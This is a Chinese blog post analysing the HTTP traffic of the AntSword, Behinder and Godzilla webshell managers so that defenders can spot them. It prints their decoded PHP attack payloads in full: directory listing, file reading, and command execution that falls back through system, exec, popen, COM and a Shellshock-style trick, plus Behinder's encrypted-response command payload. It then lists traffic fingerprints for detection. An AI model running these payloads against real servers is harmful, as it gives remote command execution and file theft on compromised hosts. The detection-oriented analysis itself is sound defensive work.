常见webshell管理工具流量分析

1.蚁剑

蚁剑设置代理后bp抓包,bp看流量方便一点
image.png

默认编码器流量分析

image.png

进入文件管理器的两个数据包:

image.png
image.png
解码后的数据为:
7=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "c8720";echo @asenc($output);echo "d7345100948";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}😊)$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

7=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "c7e4eb4970b9";echo @asenc($output);echo "33e0702d88c2";}ob_start();try{$D=base64_decode(substr($_POST["wa131f680a6e5a"],2));$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R=" ".$T." ".@filesize($P)." ".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&wa131f680a6e5a=UNL3Zhci93d3cvaHRtbC92dWwvdW5zYWZldXBsb2FkL3VwbG9hZHMv

尝试配合gpt解读一下部分关键代码:
  • @ini_set("display_errors", "0");
    禁止显示错误,以避免暴露错误信息。
  • @set_time_limit(0);
    设置脚本执行时间无限制,防止脚本超时终止。
  • function asenc($out){return $out;};
    定义一个名为 asenc 的函数,接受一个参数 $out 并直接返回该参数。
  • function asoutput(){...}
    定义一个名为 asoutput 的函数,用于处理和输出缓冲区的内容。
  • $D=base64_decode(substr($_POST["wa131f680a6e5a"],2));
    从POST请求中获取参数 wa131f680a6e5a,去掉前两个字符,并进行Base64解码得到目录路径。
  • $F=@opendir($D);
    尝试打开目录 $D,并将目录句柄赋值给 $F。
  • $M=NULL;$L=NULL;
    初始化两个变量 $M 和 $L,用于存储目录和文件的信息。
  • while($N=@readdir($F)){...}
    遍历目录中的每一个文件和子目录。
  • $P=$D.$N;
    构建文件或子目录的完整路径。
  • $T=@date("Y-m-d H:i:s",@filemtime($P));
    获取文件或子目录的修改时间,并格式化为 "Y-m-d H:i
  • @$E=substr(base_convert(@fileperms($P),10,8),-4);
    获取文件或子目录的权限,并转换为八进制格式的字符串。
  • $R=" ".$T." ".@filesize($P)." ".$E."\n";
    构建包含修改时间、文件大小和权限信息的字符串 $R。
  • if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;
    如果是目录,则将 $R 追加到 $M;否则,追加到 $L。
  • echo $M.$L;
    输出目录和文件的信息。
  • @closedir($F);
    关闭目录句柄。
这是读取一个文件的数据包:

image.png
解码后的数据为:
7=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "d45b53b97e3";echo @asenc($output);echo "b47c4f64";}ob_start();try{$F=base64_decode(substr($_POST["zdf46e7b20a4ac"],2));$P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&zdf46e7b20a4ac=Z8L3Zhci93d3cvaHRtbC92dWwvdW5zYWZldXBsb2FkL3VwbG9hZHMvMi5waHA=

这是whoami命令的数据包:

image.png
url解码后为:
7=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "64be11f1d7";echo @asenc($output);echo "9f6c044b93a9";}ob_start();try{$p=base64_decode(substr($_POST["d29fec9508fedb"],2));$s=base64_decode(substr($_POST["i88dc4b40a34a5"],2));$envstr=@base64_decode(substr($_POST["h6d24094c40872"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)"/"?"-c "{$s}"":"/c "{$s}"";if(substr($d,0,1)"/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("
",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&d29fec9508fedb=mDL2Jpbi9zaA==&h6d24094c40872=GK&i88dc4b40a34a5=rmY2QgIi92YXIvd3d3L2h0bWwvdnVsL3Vuc2FmZXVwbG9hZC91cGxvYWRzIjt3aG9hbWk7ZWNobyBbU107cHdkO2VjaG8gW0Vd

base64编码器流量分析

进入文件管理器的两个数据包:

image.pngimage.png
url解码后为:
7=@eval(@base64_decode($_POST[x2a2c255f64b68]));&x2a2c255f64b68=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuIEBiYXNlNjRfZW5jb2RlKCRvdXQpO307ZnVuY3Rpb24gYXNvdXRwdXQoKXskb3V0cHV0PW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO2VjaG8gIjRjMWViZDI5MDAiO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gIjViMGI1M2YiO31vYl9zdGFydCgpO3RyeXskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfQkiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkMiLCJaIilhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fWVsc2V7JFIuPSIvIjt9JFIuPSIJIjskdT0oZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRlZ2lkIikpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKToiIjskcz0oJHUpPyR1WyJuYW1lIl06QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIJeyRzfSI7ZWNobyAkUjs7fWNhdGNoKEV4Y2VwdGlvbiAkZSl7ZWNobyAiRVJST1I6Ly8iLiRlLT5nZXRNZXNzYWdlKCk7fTthc291dHB1dCgpO2RpZSgpOw==
把后面的base64也解码后为
image.png
可以看到也就是在原本明文的基础上加上base64编码,只是通过密码7接收一个参数x2a2c255f64b68,而真正执行的代码就编码后放在参数x2a2c255f64b68里面。

chr编码流量分析

chr编码会将每个字符进行Ascii编码后通过chr函数返回原本的字符
image.png

蚁剑流量特征总结:

  • 蚁剑默认编码时请求包都包含了@ini_set("display_errors", "0");@set_time_limit(0);
  • 并且响应体的返回结果格式为:随机数 结果(或编码后的结果) 随机数
  • ua头标识特征为antsword xxx,我这里的蚁剑版本是有这个特征的,但是我看其他文章有的蚁剑不存在这个特征,可能是版本问题
  • 即使加密后的流量进行了各种编码混淆,但是数据包中仍存在@ini_set("display_errors", "0");@set_time_limit(0);特征,只是以编码形式存在,比如我们提取ini_set或者set_time_limit的base64编码为特征,在加密流量中也可以依旧可以匹配到。ini_set base64编码为QGluaV9zZXQ,set_time_limit base64编码为c2V0X3RpbWVfbGltaXQ,ini_set chr编码为cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116),其他编码同理

image.pngimage.png
image.png

2.冰蝎2.0

从冰蝎2开始了解,冰蝎的通信过程可以分为两个阶段:密钥协商和加密传输
通过下图连接的数据包可以看到,冰蝎会先通过get方式请求随机密钥,服务端使用随机数前16位作为密钥,并且存储到会话的$_SESSION变量中,并返回密钥给攻击者

连接的数据包:

image.png
image.png

执行命令数据包:

image.png

打开一个文件的数据包:

image.png

特征总结

都是一些弱特征辅助判断

  • ACCEPT字段:默认都是这个text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
  • UA字段:冰蝎的ua字段都比较老,内置了十几个ua头,每次请求都随机一个ua头
  • 每次连接会get请求密钥,?pass=随机数,参数名可改,误报较高,可正则匹配辅助判断

3.冰蝎3.0

可以看到冰蝎采用的是AES加密 + base64编码,冰蝎3取消动态密钥获取,目前很多waf等设备都做了冰蝎2的流量特征分析,所以3取消了动态密钥获取,密钥使用的是密码的md5结果的前16位
image.png
image.png

aes解密:

http://tools.bugscaner.com/cryptoaes/
image.png
再对base64解密

@error_reporting(0);

function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){
        return $s0;
    }else{
        return iconv('gbk','utf-8//IGNORE',$str);
    }
}
function main($cmd,$path)
{
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1\n";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(
            array(
                'pipe',
                'r'
            ),
            array(
                'pipe',
                'w'
            ),
            array(
                'pipe',
                'w'
            )
        ), $pipes);
        $kWJW = NULL;
        while (! feof($pipes[1])) {
            $kWJW .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $kWJW .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result), $key);
        return;
        
    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result),  $_SESSION['k']);
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}$cmd="Y2QgL2FwcC92dWwvdW5zYWZldXBsb2FkL3VwbG9hZHMvO3M=";$cmd=base64_decode($cmd);$path="L2FwcC92dWwvdW5zYWZldXBsb2FkL3VwbG9hZHMv";$path=base64_decode($path);
main($cmd,$path);

特征总结:

  • content-type字段:jsp常见为application/octet-stream,其他的为application/x-www-form-urlencoded
  • Accept字段:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  • 和冰蝎2差不多,请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个
  • 每一个请求头中存在Pragma: no-cacheCache-Control: no-cache

冰蝎4和3差不多,都是一些弱特征,但是可以自定义加密

4.哥斯拉4.0

连接数据包:

第一个数据包不会带cookie,但是在响应包设置了session,后续请求都会带上该值
image.png
image.png
image.png

解密流量:

使用蓝队分析研判工具
image.png

执行命令数据包:

image.png

默认流量特征总结:

  • 请求包开头存在 pass=eval(base64_decode(strrev(urldecode(
  • cookie最后的分号。标准的 HTTP 请求中最后一个 Cookie 的值是不应该出现 ; 的
  • Accept字段:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8

冰蝎也出现这个特征,这个也是 JDK 引入的一个特征,并不是作者自定义的 Accept,这个默认特征也可以通过自定义去除,只能作为辅助检测特征

  • 响应包的前后各存在16位混淆字符,这是将一个32位的MD5字符串拆分组合而成的
posted @ 2024-07-10 15:46  小新07  阅读(6)  评论(0编辑  收藏  举报